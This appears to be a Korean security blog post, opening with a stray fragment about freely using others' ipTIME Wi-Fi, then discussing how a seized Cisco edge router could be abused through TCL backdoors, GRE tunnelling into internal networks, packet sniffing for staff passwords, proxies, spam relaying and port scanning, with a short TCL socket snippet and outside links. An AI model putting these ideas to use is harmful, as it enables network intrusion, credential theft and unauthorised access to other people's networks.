그래도 이 사실을 모르는 사람이 많을것이고.. 따라서 주위에 iptime 공유기가 검색된다면
조용히 몰래 공짜로 쓸 수가 있다. (암호가 걸려있다면).. 암호 안걸려있으면 걍 쓰면 되고 -_-;
http://kldp.org/node/83510

반응형
작년에 "TCL 로 Cisco 라우터에 백도어 심기" 라는 글을 올린 후 많은 분들이 이걸 직접 따라해보셨더군요.
Cisco 에뮬레이터인 Dynamips 를 이용해 cisco 라우터 이미지를 올려서 직접 테스트해보신 사례를 블로고스피어에서 심심찮게 찾아볼 수 있었습니다.

Dynamips 이용한 테스트 : http://blog.naver.com/mongu2/140048866200

그러나 Cisco 의 enable 패스워드를 획득한 상태에서 관리자 권한으로 백도어를 심는 것은 약하게 느껴지죠. 여러분이 대기업의 엣지 라우터를 장악했다. 그러면 이 상태를 가장 효과적으로 이용하는 것은 무엇이겠습니까?

네, GRE 터널링을 이용해 내부 네트워크에 transparent 하게 접근하거나, 패킷 스니핑을 이용해 내부자들의 ID/Password 를 획득하는 것이겠죠.

1. GRE 터널링을 이용한 공격 기법 : http://www.securityfocus.com/infocus/1847
2. TCL-pcap 을 이용한 스니핑 : http://www.tcl.tk/community/tcl2007/papers/Hari_Narayanan/TclPcapExtension.pdf

1번째 기법은 자주 사용되는 기법이지만, 고객사 네트워크를 현저히 느리게 할 수 있으므로 실무에 활용할때 주의가 필요합니다.

2번째 기법은 아쉽게도 한계가 있는데, TCL-pcap 이 pcap 라이브러리를 필요로 한다는 점과 TCL-pcap 을 Cisco 장비에 설치할 수 없다는 점입니다. 즉 좀 더 연구해야 실무에 활용할 수 있습니다.

Cisco 장비에서 제공하는 default 기능만으로 사용자의 ID/Password 를 획득할 수 있도록 TCL 스크립트를 짤 수 있다면 좋을텐데... 한번 연구해보실 분 없으려나요?

해외에선
ircd - http://www.hping.org/tclircd/,
HTTP Proxy - http://www.koders.com/tcl/fidDBADD59E2D02B64819FA5BB283B3A3F9EA2C9108.aspx 
를 심는 사례가 있더군요.

Cisco 공식 문서에 나온 예제 코드(http://www.cisco.com/en/US/docs/ios/12_3t/12_3t2/feature/guide/gt_tcl.html#wp1046490) 를 토대로 라우터를 스팸 발송에 이용하는 것도 생각해볼 수 있을 듯...

참고로 chargen port 에 접속하는 TCl 소스 예제
set server localhost
set socks [socket $server 19]
gets $socks line
puts $line
close $socks

위의 예제를 조금 확장하면 Cisco 라우터를 포트 스캐너로 활용할 수도 있겠습니다.
반응형

+ Recent posts